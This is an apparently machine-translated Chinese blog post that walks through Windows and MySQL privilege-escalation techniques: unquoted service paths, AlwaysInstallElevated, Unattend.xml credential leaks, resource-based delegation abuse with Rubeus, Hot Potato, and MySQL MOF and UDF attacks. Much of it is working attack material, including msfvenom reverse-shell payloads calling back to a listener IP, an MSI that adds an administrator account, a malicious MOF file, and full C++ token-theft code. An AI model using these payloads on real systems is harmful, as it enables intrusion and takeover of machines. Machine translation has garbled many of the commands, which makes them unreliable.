adjusttokenprivileges sufficientprivileges

adjusttokenprivileges sufficientprivileges

一、无引号服务路径 ( Trusted Service Paths )

先说实用性,比较被动,比较有面子。

Windows下服务的权限通常是SYSTEM。如果能把服务的启动程序替换成我们的恶意程序(比如反弹壳),就相当于获得了系统权限,达到了解禁权限的目的。未加引号的服务路径可能会导致这种情况发生。所谓不带引号的服务路径,是指服务启动程序的路径包含空,并且没有用引号括起来。像这样

c:\ program files \ float er 1 \ service.exe由于空网格的存在,当Windows启动服务查找服务启动项时,会按照以下顺序搜索启动项。

c:\ program . exec:\ program files \ some . exec:\ program files \ some folder \ service.exe这就给了我们一个机会:如果我们在服务的上层目录中有写或完全控制权限,我们完全可以将一个可执行文件放在Windows search服务的启动项的较高顺序中。

我们使用下面的命令来搜索哪些服务路径不包含引号。

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

用户组是完全控制(F),所以我们直接用msfvenom构造一个弹壳的exe。将其命名为Protect.exe,并将其放在2345Explorer目录中。我在这里随机编码的。

msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129 LPORT=10068 -f exe -o Protect.exe

msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129 LPORT=10068 -f exe -o Protect.exe

所以我们需要在拿到外壳后及时转移进程或者添加管理员账号。在msf中传输过程非常简单。在meterpreter中,先用ps查看进程,随便找一个系统权限,记住它的pid,然后迁移PID,完成进程迁移。

先说防控方法。进入注册表修改窗口,点击HKEY本地机>;& gt系统& gt& gt当前控制集& gt& gt在服务路径下找到一个易受攻击的服务,修改它的ImagePath,只需在路径前后添加引号。

二、易受攻击的服务(Vulnerable Services )

还要看脸,被动

这种攻击方式大致分为两类。

1.替换服务的二进制文件。这个方法比较简单。如果我们有权修改服务二进制文件所在的目录,那么我们就可以创建一个恶意程序来替换原来的二进制文件服务。这个比较简单,基本上攻击过程和可信服务路径一模一样,也是被动等待服务重启再打壳,就不演示了。

2.修改服务的属性。如果我们可以修改服务的BINARY_PATH_NAME属性(这个属性用来指向服务的二进制文件),我们就可以将BINARY_PATH_NAME的值设置为一个系统命令,然后我们的系统命令就会在服务重启的时候执行。

对于后者,我们需要一个工具来快速揭示我们可以修改哪些服务属性。我们用accesschk.exe作为这个工具,它是微软生产的,基本不会报毒。

我们使用这个工具来执行以下命令。

accesschk.exe-uwc qv & # 34;认证用户& # 34;*/accepteulaoraccesschk . exe-uwc qv & # 34;用户& # 34;* /accepteula查看Users组(根据实际情况填写哪个组)有哪些服务的权限。如果服务具有service_all_access或以下权限,则意味着可以修改其属性。

例如,如果我们对Spooler服务拥有service_all_access权限,我们可以这样做。

通过将其binPath修改为恶意指令,然后等待管理员重启服务,我们的恶意指令就会被执行。

三、AlwaysInstallElevated

[HKEY _当前_用户\软件\策略\ Microsoft \ Windows \ Installer]” AlwaysInstallElevated ” = dword:00000001[HKEY _ LOCAL _ MACHINE \软件\策略\ Microsoft \ Windows \ Installer]” always installed ” = dword:00000001那么所有msi(windows应用程序安装程序)将以系统权限运行。这时候如果执行一个恶意的msi程序,就可以达到解禁权限的目的。

同时,应该注意,该注册表项可能并不总是存在。(比如我的实验机。

我们可以通过reg query来验证这两个注册表项。

Reg查询HKCu \ Software \ Policies \ Microsoft \ Windows \ Installer/V alwaysinstalletreg查询HKLM \ Software \ Policies \ Microsoft \ Windows \ Installer/V alwaysinstallelevated,如果两者都为1,我们可以通过msfvenom生成恶意msi来主张权利。

MSF venom-P windows/adduser USER = rotten admin PASS = P @ ss word 123!然后执行-f MSI-o roted . MSI以获取管理员帐户。

四、信息泄露

Unattend.xml sysprep.xml和sysprep.inf文件GPP.xml有一些信息泄露,它们通常存在于以下路径中。

C:\ Windows \ Panther \ C:\ Windows \ Panther \ Unattend \ C:\ Windows \ System32 \ C:\ Windows \ System32 \ sysprep \在Unattend.xml文件中查找标记。有可能找到用户的加密密码。。

& lt用户帐户& gt& lt本地帐户& gt& lt本地帐户& gt& lt密码& gt& lt值& gtuebzc 3d vcmqxmjmhugfzc 3d vcmq = & lt;/Value & gt;//密码& lt明文& gtfalse & lt/PlainText & gt;& lt/Password & gt;& lt描述& gt本地管理员& lt/Description & gt;& ltDisplayName & gt管理员& lt/display name & gt;& ltGroup & gt管理员& lt/Group & gt;& lt名称& gt管理员& lt/Name & gt;& lt/local account & gt;& lt/local accounts & gt;& lt/user accounts & gt;一些敏感文件查询指令C:\ Users \ user \ Desktop & gt;dir c:\/s/b/c | findstr/Sr \ * password \ * regqueryHKLM/fpassword/treg _ SZ/sregqueryHKCu/fpassword/treg _ SZ/s五、基于资源的域委托攻击参考:https://xz.aliyun.com/t.

原则的几个要点:

1.1号。当用户没有配置trustedtoauthenticationdelegation属性(即启用了使用任何协议认证的绑定委托)时,可以调用S4U2SELF协议,但返回的ST不能转发。

2.当基于资源的绑定委托主机被另一台主机委托访问时,S4U2PROXY进程中提交的st即使不能转发也是。KDC仍将返回有效的ST2。

3.默认情况下,每个普通域用户最多可以创建十个机器帐户(由MachineAccountQuota属性决定),每个机器帐户在创建时都会自动注册SPN: RestrictedKrbHost/domain和Host/domain。

攻击过程:

假设基于资源的绑定委托机器作为。

1.在设置可以委派访问的服务帐户之前,您必须拥有对当前计算机具有写权限的帐户。

2.使用当前帐户创建一个计算机帐户,并将该计算机帐户的基于资源的绑定委托配置为。

3.因为我们创建了机器帐户,并且我们知道他的密码帐户,所以我们可以通过使用S4U2SELF协议使它获得一个非转发ST。然后,使用这个非转发ST,通过S4U2PROXY,可以在基于资源的绑定委托的基础上获得访问cifs服务的有效ST2。

4.用ST2访问A的CIFS服务,并获得权限。

实际操作

说白了,这次攻击就是一次权力提升…

先检查一下域控制器是不是win2012以上的主机,因为只有这样才能开启基于资源的绑定委托。

我们使用powersploit下的powerview脚本。执行命令get-netdomaincontroller

可以获得域控制WIN版本。

然后,我们检查当前用户对哪台主机具有写权限。因为是实验,所以我们先来看看如何在一台机器上配置一个用户的权限。

直接在域控制上找到一个主机,然后输入属性,进入安全选项卡,添加一个用户,然后给这个用户分配权限。

我们仍然使用powerview。先打电话

get-domain user-identity username-property objects id以获取当前用户s id。

然后

get-DomainObjectAcl-Identity hostname |?{$_.安全标识符-匹配& # 34;刚刚得到了席德& # 34;}检查当前用户是否拥有对主机的写权限。

如果有generic(完全控制)、GenericWrite、WriteProperty和WriteDacl属性,则意味着用户可以修改计算机的帐户属性。如你所见,我们运行的是WIN7。

好了,接下来我们要创建一个机器用户。根据网上搜索结果,使用ps脚本powermad可以快速创建一个机器用户。https://github.com/Kevin-Robertson/Powermad

Import-Module .\Powermad.ps1New-MachineAccount -MachineAccount hacksystem -Password $(ConvertTo-SecureString "hack" -AsPlainText -Force)

Rubeus.exe S4U/用户:evil system $/RC4:b 1739 f 7 fc 8377 e 25 c 7 CFA 2 DFB DC 3 EC 7/impersonate User:Administrator/MSDSSPN:CIFS/DM 2008/PTT写账单。

然后我在这台机器里用了上面的方法,klist了一下,发现有账单。

但是当dir \test1\c$,这个机器就不能无缘无故的进行kerberos认证了。我印象深刻。。但不管怎样,我们拿到了银票。

敏感用户不能被授权绕过。

如果我们的管理员用户被设置为不能被委派的敏感用户,或者被添加到保护组,那么可以说他的访问不能被委派。

当我们以管理员帐号做S4U的时候,我们只能做S4U2SELF,不能做S4U2PROXY。我们使用

Rubeus.exe·S4U/用户:evil system $/RC4:b 1739 f 7 fc 8377 e 25 c 77 CFA 2 DFB DC 3 EC 7/impersonate User:Administrator/msdspn:CIFS/DM 2008/PTT继续对管理员进行实验,发现确实如此。

此时,我们使用rubeus.exe describe/ticker:s 4 ubase 64加密账单。

可以发现servicename并没有指定服务,只有一个账号,也就是发生了服务名缺失的问题。很简单,修改账单就行了。网上很多人说用这个工具。

https://shimo.im/docs/TdpXTY6H9J8jygd8/read

但实际上鲁伯也能完成票据修改。

rubeus.exe tgssub /ticket:xxx /altservice:cifs/test1 /ptt

结束

六、POTATO 家族

难解决的事;难对付的人

烫手的土豆提高力量。很久以前就听说过,但从来没了解过。先验知识是ntlm中继,可以理解。土豆家族有很多,烫手山芋只是其中之一。

我的环境有问题,所以不能很好的重现。让我们先咕咕吧。

Https://shimo.im/docs/TdpXTY6H9J8jygd8/readHOT马铃薯技术文献,基本上在中国翻译。

解禁权的步骤大概就是这个过程。

1.本地nbns服务欺诈

2.wpad劫持

3.HTTP-& gt;B的Ntlm继电器

4.本地nbns服务作弊

Windows域名解析规则是

本地主机文件-“DNS查询-“NBNS或LLMNR查询

一旦本地的NBNS查询被发送出去,我们可以在本地快速响应,并且我们将会给出一个响亮的响应。很快,当地承包很快。只要NBNS包裹发出去,基本上可以由我们当地的承包来响应。

不过以上步骤有一些细节:目前我们不是管理员权限,无法嗅探本地流量。如果我们可以提前知道目标主机期望nbns查询获得的主机名,我们可以伪造一个响应,并向快速发送NBNS查询的主机发送大量NBNS响应。但是NBNS流量包里有个叫签名的东西,请求包和响应包的签名必须是一样的,所以我们被迫发送65536个包来爆这个签名——本地包的发送速度很快。

2.WPAD劫机事件

NBNS作弊后,我们可以劫持WPAD的域名,伪造成WPAD,并返回定制的PAC文件。这意味着我们可以重定向所有本地流量。

3.继电器

NBNS作弊后,我们可以劫持WPAD的域名,伪造成WPAD,并返回定制的PAC文件。这意味着我们可以重定向所有本地流量。

3.继电器

这个时代,B->;B的继电器很少使用。微软已经用同样的协议禁用了NTLM认证,成功率很低。但是http->;中小企业还是有继电器的。烫手山芋利用了这一点。我们可以将主机发送的HTTP请求重定向到我们定制的网页A,网页A需要NTLM认证,所以我们可以HTTP->;中小企业的接力赛。当HTTP请求来自高特权帐户时,例如来自windows update服务的请求,该命令将以“NT AUTHORITY\SYSTEM”的特权运行。

根据Windows版本的不同,烫手山芋等待高权限用户NTLM认证的时间也不同。一般来说,WIN7是Windows Server 2012 R2,Windows Server 2012、Windows 8.1、Windows 8都有自动更新机制,每天下载证书信任列表(CTLs)等。

七、MYSQL下的提权技术

财政部取消权利

c:/windows/system32/wbem/mof/目录中的nullevt.mof将每分钟执行一次(由”和TargetInstance。秒= 5″;控件,这里输入5是每分钟的第五秒。然后将cmd命令添加到nullevt.mof中,cmd命令就会自动执行。

前提是我们要能进入数据库进行操作,拥有尽可能高的mysql数据库的权限更有利。同时secure-file-priv应该是空(MySQL 5 . 6 . 34版以后,secure_file_priv的值默认为NULL,禁止所有文件导入导出)。

我们伪造的MOF文件格式如下

#pragma命名空间(& # 34;\\.\ \根\ \订阅& # 34;)作为$EventFilter的__EventFilter实例{ EventNamespace = & # 34Root \ \ Cimv2 & # 34;Name = & # 34filtP2 & # 34;查询= & # 34;select * From _ _ InstanceModificationEvent & # 34;"其中TargetInstance是Isa \ & # 34Win32 _ LocalTime \ & # 34""和TargetInstance。秒= 5 & # 34;;QueryLanguage = & # 34WQL & # 34;};ActiveScriptEventConsumer的实例作为$ Consumer { Name = & # 34consPCSV2 & # 34;ScriptingEngine = & # 34JScript & # 34;ScriptText = & # 34var WSH =新的ActiveX object(\ & # 34;WScript。壳牌\ & # 34;)\ nwsh . run(\ & # 34;net.exe用户管理admin/add \ & # 34;)";//此处修改即可};__FilterToConsumerBinding的实例{ Consumer = $ ConsumerFilter = $ EventFilter};修改上面的cmd部分,以管理员身份执行各种命令。

然后我们用mysql下的命令覆盖mof。

当我们的命令被执行时,就意味着权利被成功提出。

Windows 2003好像成功率很高,WIN7试了一下,没有反应。。。

UDF解除权利

(这个也可以用linux解除。

Udf,即用户自定义函数。

MYSQL可以自定义函数。自定义函数在Windows下以DLL文件的形式存在于MYSQL插件文件夹中(linux是os的形式)。我们可以自定义一个恶意dll,里面包含可以执行系统命令的函数。然后交给mysql用数据库权限执行。

前提:我们会操作数据库,数据库权限一定要高(通过这种方法得到的权限就是数据库的权限)

那么这个dll文件是哪里来的呢?sqlmap和msf都有。sqlmap下的sqlmap/data/UDF/MySQL/Windows/64/lib _ MySQL sys.dll _ UDF _就是这个dll文件的编码版本。我们使用sqlmap下的sqlmap/extra/斗篷/斗篷. py对其进行解码,得到dll文件。

Python。/coat . py-d-I ./lib _ mysql sys.dll _ UDF _可以获取dll文件,然后我们把dll文件放到MySQL插件文件夹中,命名为udf.dll。可以通过命令访问插件文件夹。

显示变量,如& # 34;% plugin % & # 34;get (/ lib/plugin文件夹需要自己创建)至于如何把dll放到plugin文件夹里。

1.直接粘贴复制(权限可能不够。

2.使用命令select load _ file (‘udf.dll ‘)进入转储文件“插件的路径”;(secure_file_priv要求为空。

简而言之,如果udf.dll被放入插件文件夹,我们可以执行以下操作来声明权利。

create funtion sys_eval returns string soname "udf.dll";select sys_eval('cmd');

程序写了四天,终于完成了。。WIN7可以实现完美的解禁权限。项目地址:https://shimo.im/docs/TdpXTY6H9J8jygd8/read.

代币盗窃

系统->;这台机器上的其他用户(包括域用户)(小子,只要这台机器有系统权限,域管理员敢在这台机器上创建进程就可以直接获得域管理权限)或者admin在获得debug权限后可以获得系统权限(这里有个细节点,只能使用所有者是administrator的系统进程,比如lsass,dllhost)。

技术细节:通过找到高权限启动的进程,然后复制其令牌创建一个新的进程,就可以达到解除权限的目的。

#include <iostream>#include <Windows.h>//Only administrator can get debug privBOOL GetDebugPriv() { HANDLE Token; TOKEN_PRIVILEGES tp; LUID Luid; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token)) { std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl; return false; } tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid)) { std::cout << "LookupPrivilegeValue ERROR" << GetLastError() << std::endl; return false; } tp.Privileges[0].Luid = Luid; if (!AdjustTokenPrivileges(Token, FALSE, &tp, sizeof(tp), NULL, NULL) ){ std::cout << "AdjustTokenPrivileges ERROR" << GetLastError() << std::endl; return false; } if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { return false; } else { return true; }}int main(int argc, char* argv[]) { HANDLE t_process; HANDLE token = NULL; HANDLE token_bak = NULL; DWORD process_id; sscanf_s(argv[1], "%ul", &process_id); WCHAR command[] = L"C:\\Windows\\System32\\cmd.exe"; STARTUPINFO startupInfo; PROCESS_INFORMATION processInformation; ZeroMemory(&startupInfo, sizeof(STARTUPINFO)); ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION)); startupInfo.cb = sizeof(STARTUPINFO); std::cout << argv[1] << std::endl; std::cout << "Openning process PID:" << process_id << std::endl; if (GetDebugPriv()== TRUE) { std::cout << "Got the debug priv" << std::endl; } else { std::cout << "GetDebugPriv ERROR" << std::endl; } system("whoami /priv"); t_process = OpenProcess(PROCESS_ALL_ACCESS, true, process_id); if (!t_process) { std::cout << "OpenProcess ERROR" << GetLastError() << std::endl; } if (!OpenProcessToken(t_process, TOKEN_ALL_ACCESS, &token)) { std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl; } if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &token_bak)) { std::cout << "DuplicateTokenEx ERROR" << GetLastError() << std::endl; } if (!CreateProcessWithTokenW(token_bak, LOGON_WITH_PROFILE, NULL, command, 0, NULL, NULL, &startupInfo, &processInformation)) { std::cout << "CreateProcessWithTokenW ERROR" << GetLastError() << std::endl; } return 0;}

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。

发表回复

登录后才能评论